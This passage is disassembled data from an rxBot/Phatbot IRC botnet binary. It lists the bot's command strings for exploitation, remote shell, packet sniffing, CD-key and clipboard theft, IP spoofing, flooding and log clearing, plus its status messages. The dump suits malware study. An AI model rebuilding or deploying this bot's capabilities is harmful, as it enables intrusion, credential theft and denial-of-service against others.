		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42DA84	db  2Dh	; -		; DATA XREF: sub_401AC7+3B6Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42DAC0	db  2Dh	; -		; DATA XREF: sub_401AC7+3AFBo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42DAF0	db  2Dh	; -		; DATA XREF: sub_401AC7+3A97o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aOn		db 'on',0               ; DATA XREF: sub_401AC7+3A77o
					; sub_401AC7+3BC6o
		align 4
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401AC7+3A60o
aRf		db 'rf',0               ; DATA XREF: sub_401AC7+3A4Bo
		align 10h
aReadfile	db 'readfile',0         ; DATA XREF: sub_401AC7+3A36o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401AC7+3A21o
		align 10h
aCmd		db 'cmd',0              ; DATA XREF: sub_401AC7+3A0Co
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401AC7+39E2o
aLi		db 'li',0               ; DATA XREF: sub_401AC7+39CDo
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401AC7+39B8o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401AC7+39A3o
aDelete		db 'delete',0           ; DATA XREF: sub_401AC7+398Eo
					; sub_401AC7+3D92o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401AC7+3979o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401AC7+394Fo
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401AC7+393Ao
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401AC7+3925o
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401AC7+3910o
aSe		db 'se',0               ; DATA XREF: sub_401AC7+38FBo
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401AC7+38A7o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401AC7+3892o
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401AC7+387Do
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401AC7+3868o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401AC7+3853o
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401AC7+383Eo
		align 10h
aKillthread	db 'killthread',0       ; DATA XREF: sub_401AC7+3814o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401AC7+37EAo
aPt		db 'pt',0               ; DATA XREF: sub_401AC7+37D5o
		align 4
unk_42DBB4	db  2Dh	; -		; DATA XREF: sub_401AC7+374Do
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401AC7+36E9o
aRegister	db 'register',0         ; DATA XREF: sub_401AC7+36C0o
		align 10h
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401AC7+3667o
		align 10h
aMix		db 'mix',0              ; DATA XREF: sub_401AC7+359Do
dword_42DC14	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401AC7+3549o
					; sub_401AC7+3580o
		dd 0
dword_42DC2C	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401AC7+3512o
		dd 1
dword_42DC44	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401AC7+34DBo
					; sub_401AC7+35EFo
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401AC7+3489o
		align 10h
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401AC7+33F4o
					; sub_401AC7+3430o ...
		align 10h
aNotice_0	db 'notice',0           ; DATA XREF: sub_401AC7+339Do
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401AC7+32B1o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401AC7+326Bo
aNick_0		db 'nick',0             ; DATA XREF: sub_401AC7+316Eo
					; sub_401AC7+376Co
		align 4
dword_42DC8C	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401AC7+3151o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42DCB4	dd 636364h		; DATA XREF: sub_401AC7+30D4o
dword_42DCB8	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401AC7+2F8Do
dword_42DCC4	dd 4B43494Eh, 732520h	; DATA XREF: sub_401AC7+2F70o
					; sub_401AC7+31C8o ...
dword_42DCCC	dd 69257325h, 0		; DATA XREF: sub_401AC7+2F58o
					; sub_409DC3+4Eo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401AC7+2F18o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401AC7+2EFBo
					; sub_401AC7+2FE4o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401AC7+2ED4o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401AC7+2EB7o
aPart_0		db 'part',0             ; DATA XREF: sub_401AC7+2E95o
					; sub_401AC7+37C0o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401AC7+2E78o
					; sub_401AC7+2FBBo ...
aJoin		db 'join',0             ; DATA XREF: sub_401AC7+2E56o
					; sub_401AC7+3796o
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401AC7+2E39o
		align 10h
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401AC7+2DD0o
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_401AC7+2D84o
		align 4
dword_42DD34	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401AC7+2D67o
dword_42DD48	dd 7463h		; DATA XREF: sub_401AC7+2D1Bo
dword_42DD4C	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401AC7+2CFEo
					; sub_401AC7+3308o ...
dword_42DD5C	dd 5Fh			; DATA XREF: sub_401AC7+2CD2o
					; sub_401AC7+2D3Bo ...
dword_42DD60	dd 6D70h		; DATA XREF: sub_401AC7+2CB2o
					; sub_401AC7+3FD2o
unk_42DD64	db  2Dh	; -		; DATA XREF: sub_401AC7+2C80o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 10h
aFlood		db 'flood',0            ; DATA XREF: sub_401AC7+2C03o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401AC7+2BECo
		align 10h
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401AC7+2BD7o
aRin		db 'rin',0              ; DATA XREF: sub_401AC7+2BC2o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401AC7+2BADo
		align 4
unk_42DDC4	db  2Dh	; -		; DATA XREF: sub_401AC7+2BA2o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42DE04	db  2Dh	; -		; DATA XREF: sub_401AC7+2B30o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401AC7+2AB3o
unk_42DE3C	db  2Dh	; -		; DATA XREF: sub_401AC7+2A95o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42DE68	db  2Dh	; -		; DATA XREF: sub_401AC7+2A6Bo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401AC7+2A33o
		align 4
unk_42DEA8	db  2Dh	; -		; DATA XREF: sub_401AC7+29DAo
					; sub_401AC7+2A4Bo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
aGet		db 'get',0              ; DATA XREF: sub_401AC7:loc_40447Fo
unk_42DEE4	db  2Dh	; -		; DATA XREF: sub_401AC7+2946o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 10h
unk_42DF10	db  2Dh	; -		; DATA XREF: sub_401AC7+293Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
unk_42DF3C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_4043ADo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
unk_42DFEC	db  2Dh	; -		; DATA XREF: sub_401AC7+28C3o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_16	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42E02C	db  2Dh	; -		; DATA XREF: sub_401AC7+283Fo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42E058	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401AC7+27BDo
aFailedToSta_17	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42E094	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401AC7+274Eo
					; sub_4102C5+A8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42E0BC	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401AC7+269Bo
dword_42E0CC	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401AC7+2696o
dword_42E0DC	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401AC7+2623o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4040DDo
					; sub_401AC7:loc_408972o ...
		align 10h
dword_42E110	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401AC7+2601o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4040BBo
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401AC7:loc_4040A5o
					; sub_401AC7+6C8Ao
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+25CCo
		align 10h
unk_42E160	db  2Dh	; -		; DATA XREF: sub_401AC7+2580o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42E18C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401AC7+2542o
		dd 2E7325h
unk_42E1A4	db  2Dh	; -		; DATA XREF: sub_401AC7+2524o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToStartL	db '- Failed to start list thread, error: <%d>.',0
		align 10h
dword_42E1E0	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401AC7+24AFo
		dd 65726874h, 2E736461h, 0
dword_42E200	dd 627573h		; DATA XREF: sub_401AC7+2489o
dword_42E204	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401AC7+2437o
		dd 2E7473h
unk_42E21C	db  2Dh	; -		; DATA XREF: sub_401AC7+241Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_18	db '- Failed to start listing thread, error: <%d>.',0
dword_42E254	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401AC7+238Fo
		dd 2E676Fh
dword_42E26C	dd 7325h		; DATA XREF: sub_401AC7+235Co
					; sub_401AC7+3CFFo ...
dword_42E270	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401AC7+230Bo
		dd 6F666E49h, 2Eh
dword_42E28C	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401AC7+22DCo
		dd 2E6F666Eh, 0
dword_42E2A8	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401AC7+2287o
		dd 746F4220h, 2Eh
unk_42E2C4	db  2Dh	; -		; DATA XREF: sub_401AC7+226Bo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_19	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42E300	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401AC7+21F6o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401AC7+21D6o
		align 4
unk_42E324	db  2Dh	; -		; DATA XREF: sub_401AC7+2174o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_1	db ' Already running.',0
		align 4
dword_42E344	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401AC7+214Bo
aSearchComplete	db '- Search completed.',0
dword_42E364	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401AC7+20FCo
		dd 2E7325h
unk_42E37C	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403B34o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42E39C	db  2Dh	; -		; DATA XREF: sub_401AC7+2063o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42E3C4	db  2Dh	; -		; DATA XREF: sub_401AC7+2044o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
dword_42E3F0	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401AC7+202Eo
		dd 72616F62h, 2E64h
dword_42E40C	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401AC7+2000o
		dd 2Dh
unk_42E424	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403AA3o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_42E450	db  2Dh	; -		; DATA XREF: sub_401AC7+1FD5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42E474	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403A8Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_42E4A0	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403A85o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42E4CC	db  2Dh	; -		; DATA XREF: sub_401AC7+1FB7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_42E4F0	db  2Dh	; -		; DATA XREF: sub_401AC7+1F64o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_20	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42E52C	db  2Dh	; -		; DATA XREF: sub_401AC7+1EF5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42E568	db  2Dh	; -		; DATA XREF: sub_401AC7+1E12o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42E5A4	db  2Dh	; -		; DATA XREF: sub_401AC7+1DA7o
					; sub_40ABD2+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42E5E0	db  2Dh	; -		; DATA XREF: sub_401AC7+1CA0o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_22	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42E61C	db  2Dh	; -		; DATA XREF: sub_401AC7+1C31o
					; sub_40ABD2+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_42E650	db  2Dh	; -		; DATA XREF: sub_401AC7+1B7Fo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 10h
unk_42E670	db  2Dh	; -		; DATA XREF: sub_401AC7:loc_403630o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_23	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42E6A8	db  2Dh	; -		; DATA XREF: sub_401AC7+1B19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_24	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42E6E4	db  2Dh	; -		; DATA XREF: sub_401AC7+1AA8o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401AC7+1A7Do
					; sub_401AC7+5323o
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401AC7+1A76o
					; sub_401AC7+531Co
		align 4
unk_42E764	db  2Dh	; -		; DATA XREF: sub_401AC7+18C3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+185Do
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401AC7+1842o
		align 4
aVall		db 'vall',0             ; DATA XREF: sub_401AC7+1831o
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_401AC7+1820o
aTftp		db 'tftp',0             ; DATA XREF: sub_401AC7+180Bo
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401AC7+17F6o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401AC7+17CCo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401AC7+17B7o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401AC7+17A2o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401AC7+178Do
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401AC7+1778o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401AC7+1763o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401AC7+174Eo
		align 10h
aFarp		db 'farp',0             ; DATA XREF: sub_401AC7+1739o
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401AC7+1724o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401AC7+170Fo
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401AC7+16FAo
unk_42E860	db  2Dh	; -		; DATA XREF: sub_401AC7+16BCo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401AC7+16A1o
					; sub_401AC7+3706o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401AC7+168Ao
		align 4
unk_42E894	db  2Dh	; -		; DATA XREF: sub_401AC7+166Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401AC7+1634o
					; sub_40A2C0+46o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401AC7:loc_4030ECo
dword_42E8C8	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401AC7+15FAo
dword_42E8DC	dd 6F6877h		; DATA XREF: sub_401AC7+15DDo
dword_42E8E0	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401AC7+15D2o
dword_42E8EC	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401AC7+15CDo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401AC7+15B4o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401AC7+159Fo
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401AC7+158Ao
aDll		db 'dll',0              ; DATA XREF: sub_401AC7+1575o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401AC7+1560o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401AC7+154Bo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401AC7+1536o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401AC7+1521o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401AC7+150Co
		align 10h
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401AC7+14E2o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401AC7+14CDo
		align 10h
aProcs		db 'procs',0            ; DATA XREF: sub_401AC7+14B8o
		align 4
aR010m		db 'r010m',0            ; DATA XREF: sub_401AC7+14A3o
		align 10h
aRemov10e	db 'remov10e',0         ; DATA XREF: sub_401AC7+148Eo
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401AC7+1479o
		align 10h
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401AC7+1464o
aNi		db 'ni',0               ; DATA XREF: sub_401AC7+144Fo
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401AC7+143Ao
aClg		db 'clg',0              ; DATA XREF: sub_401AC7+1425o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401AC7+1410o
		align 4
aL0g		db 'l0g',0              ; DATA XREF: sub_401AC7+13FBo
aLo0g		db 'lo0g',0             ; DATA XREF: sub_401AC7+13E6o
		align 10h
aAl		db 'al',0               ; DATA XREF: sub_401AC7+13D1o
		align 4
aThreads	db 'threads',0          ; DATA XREF: sub_401AC7+1392o
unk_42E9AC	db  2Dh	; -		; DATA XREF: sub_401AC7+135Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42E9D4	db  2Dh	; -		; DATA XREF: sub_401AC7+1357o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401AC7+1340o
		align 4
aId		db 'id',0               ; DATA XREF: sub_401AC7+1316o
		align 10h
aStatus		db 'status',0           ; DATA XREF: sub_401AC7+12ECo
		align 4
aQuit_0		db 'quit',0             ; DATA XREF: sub_401AC7+12C2o
		align 10h
aDc		db 'dc',0               ; DATA XREF: sub_401AC7+12ADo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401AC7+1298o
		align 10h
aR:					; DATA XREF: sub_401AC7+1283o
					; sub_401AC7+37FFo ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401AC7+126Eo
		align 10h
aExplist	db 'explist',0          ; DATA XREF: sub_401AC7+1259o
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401AC7+1244o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401AC7+122Fo
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401AC7+121Ao
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_401AC7+1205o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401AC7+11F0o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401AC7+11DBo
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401AC7+11C6o
		align 4
dword_42EA8C	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401AC7+11BBo
aScan_0		db 'Scan',0             ; DATA XREF: sub_401AC7+11B6o
		align 10h
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401AC7+119Do
		align 4
dword_42EAAC	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401AC7+1192o
aSecure		db 'Secure',0           ; DATA XREF: sub_401AC7+118Do
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401AC7+1174o
		align 10h
dword_42EAD0	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401AC7+1169o
aClone		db 'Clone',0            ; DATA XREF: sub_401AC7+1164o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401AC7+114Bo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401AC7+1136o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401AC7+1121o
		align 4
dword_42EB08	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401AC7+1116o
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401AC7+10F8o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401AC7+10CFo
		align 10h
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401AC7+10A6o
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401AC7+107Do
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401AC7+1054o
unk_42EB50	db  2Dh	; -		; DATA XREF: sub_401AC7+103Do
